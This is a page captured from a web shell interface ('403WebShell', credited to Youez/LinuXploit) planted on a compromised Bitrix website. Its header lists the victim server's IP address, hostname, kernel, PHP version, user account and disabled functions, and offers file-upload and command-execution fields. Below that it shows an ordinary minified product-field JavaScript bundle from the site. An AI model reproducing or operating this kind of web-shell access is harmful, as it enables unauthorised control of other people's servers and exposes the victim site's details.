%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.133.118.221
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/productfield/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/productfield/dist/productfield.bundle.min.js
this.BX=this.BX||{};this.BX.Landing=this.BX.Landing||{};this.BX.Landing.Ui=this.BX.Landing.Ui||{};(function(e,t,i,n,s,a,r,o){"use strict";var c=function(e){babelHelpers.inherits(t,e);function t(e){var i;babelHelpers.classCallCheck(this,t);i=babelHelpers.possibleConstructorReturn(this,babelHelpers.getPrototypeOf(t).call(this,e));i.setEventNamespace("BX.Landing.UI.Field.ProductField");i.subscribeFromOptions(o.fetchEventsFromOptions(e));i.setLayoutClass("landing-ui-field-product");i.onBasketChange=i.onBasketChange.bind(babelHelpers.assertThisInitialized(i));a.Dom.append(i.getProductSelector().wrapper,i.input);i.setProducts(i.options.items);var n=s.PageObject.getRootWindow();n.BX.Event.EventEmitter.subscribe(i.getProductSelector(),"ProductForm:onBasketChange",i.onBasketChange);return i}babelHelpers.createClass(t,[{key:"setProducts",value:function e(t){this.cache.set("products",a.Runtime.clone(t))}},{key:"getProducts",value:function e(){return this.cache.get("products")||[]}},{key:"onBasketChange",value:function e(t){var i=t.getData();this.setProducts(i.basket);this.emit("onChange",{skipPrepare:true})}},{key:"getValue",value:function e(){return this.getProducts().reduce(function(e,t){if(!a.Type.isNil(t.offerId)||!a.Type.isNil(t.fields.productId)){var i=[];if(t.image&&t.image.path){i.push(t.image.path)}else if(t.image&&t.image.preview){var n=document.createElement("div");n.innerHTML=t.image.preview;n=n.querySelector("img");if(n&&n.src){i.push(n.src)}}var s=t.offerId||t.fields.productId;if(e.some(function(e){return e.value===s})){return e}e.push({label:t.fields.name,changeablePrice:false,discount:t.fields.discount,pics:i,price:t.fields.price,quantity:[],selected:false,value:s})}return e},[])}},{key:"getProductSelector",value:function e(){var t=this;return this.cache.remember("productSelector",function(){var e=s.PageObject.getRootWindow();return new e.BX.Catalog.ProductForm({iblockId:t.options.iblockId,showResults:false,allowedDiscountTypes:[n.DiscountType.MONETARY],buttonsPosition:"BOTTOM",newItemPosition:"BOTTOM",basket:t.options.items})})}}]);return t}(t.BaseField);e.ProductField=c})(this.BX.Landing.Ui.Field=this.BX.Landing.Ui.Field||{},BX.Landing.UI.Field,BX.Catalog,BX.Catalog,BX.Landing,BX,BX.Event,BX.Landing.UI.Component);
//# sourceMappingURL=productfield.bundle.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit